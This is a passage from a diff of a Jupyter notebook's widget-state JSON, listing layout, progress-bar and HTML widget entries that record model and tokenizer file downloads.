"_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c184aabb31504cbd8361a9ab06899438": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ee7a0fe9750457abaf427983e5866fe", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_103ffa0973364618b4ce1d5528078062", + "value": 617 + } + }, + "c25de7e0bae0469d918bd6d3ea39211b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_35bd707e26044bd1a361c2fc2c11ea29", + "max": 342, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ea8e9b50f98c43b58d7faccbfd6821cb", + "value": 342 + } + }, + "c30088b9866c429fa513397b03d2e3c8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c318de49fe3a455992738cf20f7099ad": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5494938bff7d4c6da3d82f1034404362", + "placeholder": "​", + "style": "IPY_MODEL_f05ad5aa13a040609336f0d6b2580be2", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "c34ca1ea918344188c3241400aa3e775": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c389029d6e9445febf2f623921140abe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c39f69cd4e8b4bca8e95bda3b06a74f1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c3dc31d7d2be42be88fe03fa33e5f20d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7427e45c55994a6fa304d6d58ffeb1fb", + "placeholder": "​", + "style": "IPY_MODEL_2df0162802aa488dbddb9a7376954865", + "value": " 20/20 [00:04<00:00, 4.76it/s]" + } + }, + "c3e33bee752849c692d00ceabd561feb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c420c12b2a76457c9ec7bb9db8eac9b3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c44f196498724b1b80b25bda832dc310": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c45aec98de234d3982ff83924dce8d7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c48ca8b557154fac885edaebc4879321": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fd444832eb3b4399946317b54b495d52", + "placeholder": "​", + "style": "IPY_MODEL_629f9b2f0b79420ba0baeb5961df73da", + "value": " 743/743 [00:00<00:00, 17.1kB/s]" + } + }, + "c64f35616d8e4b4bb129bc7aaa4ae889": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c6965bc561db4c519b751c5b7bff96a8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ba3cf4ae2c4e45e58abb82d2491fb7ba", + "placeholder": "​", + "style": "IPY_MODEL_c64f35616d8e4b4bb129bc7aaa4ae889", + "value": "100%" + } + }, + "c7b630dc7b8448219ca505398c12afef": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c7eafdcd51dc419c99b3248093fbfbff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dd9945400a2c413589af32550427f92d", + "placeholder": "​", + "style": "IPY_MODEL_8328f2c010f4426fbfef22482701f516", + "value": " 472/472 [00:00<00:00, 2.79kB/s]" + } + }, + "c81fe2532ac14ae6a5411a866f8e42ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c85b3e0dd20f414181d768cac5c9ab4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dd81ef8c35384eadb1572400c775f789", + "placeholder": "​", + "style": "IPY_MODEL_de80e8cbbd25433c88267a1f997772e7", + "value": "Downloading pytorch_model.bin: 100%" + } + }, + "c87c97a9ed4b493c8d6df7d11b1684ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c8ce8fd6e04e416381d892fbf75a0b75": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8da6be1960c4f89a18d49205cbaa0df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c905c8d69bcb404aa39ca499c96549e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e8cbb2d5adae4b439639631ea833be72", + "placeholder": "​", + "style": "IPY_MODEL_06f53eb5d18941d8a947bcb21676e9c7", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "c9311122d93c495faa2a8e0f4b8f7662": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c9678e8106544428a9f155e2da9f2693": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ca5bf86a004a45a6ae2067fdc6eef091": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ca9e4db991b54eb986375b30bb367afa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4c8fa5fd3d224ce694243ea790de8986", + "IPY_MODEL_b2efd56d5e834196818f46a7b287c2c3", + "IPY_MODEL_3097e4c3b53e4343a9ed6860b8d3d033" + ], + "layout": "IPY_MODEL_a3fc1ea7dc724184ae564edeb2e755ba" + } + }, + "cb157284f72d428fb786527ce87d11a2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cb4c90617e8e4ef08052ade1d2694589": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cb805d94485c4ff5a0aaec67e6cdb827": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "cbbf80dd8dc9471197c49732ae4d08ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0a8a88ac007a41e4b0096fb114fe8a47", + "IPY_MODEL_d4c98d8a36eb4f769e23aa3f36535a0f", + "IPY_MODEL_20f315f7aae840d19ee8a068c68ff63c" + ], + "layout": "IPY_MODEL_c420c12b2a76457c9ec7bb9db8eac9b3" + } + }, + "cd4f33b831ff4bd4afabbdec87b9bc8d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cd502f2ef8814082979d147f08177ff6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ce5e2b3caef7421da3383cbdfc5b271f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ceb41aa2ac6c4c1982598a5085f7a977": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_719559db7a7943fbb823795a1697a10c", + "placeholder": "​", + "style": "IPY_MODEL_445925a5c9da455c90fd9225ab521c1f", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "cfe9f9f05cb8493f804cd521a3e3c1c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_15ce5867e9ba470b94f0408cfa8236ad", + "placeholder": "​", + "style": "IPY_MODEL_ee848051813f401c958c169f8b77a323", + "value": " 920/920 [00:00<00:00, 61.2kB/s]" + } + }, + "d0c00b0f105741f9a155e941dd5d704f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d14a6ce3bc334df5a2f319932fd9a338": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_05ba62113d1840c38f0bcf8f291f7439", + "IPY_MODEL_117ca4fd09bb4ebeb8eae3ba5c3112f5", + "IPY_MODEL_b2fad15effb84bce8aac9b9d2bf94b19" + ], + "layout": "IPY_MODEL_78493887a0f5466cbfe8dff7f5fbd801" + } + }, + "d16de73052ac42e8a8065d4dc54ebe51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d2324949415f4df2a964046b326231a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + 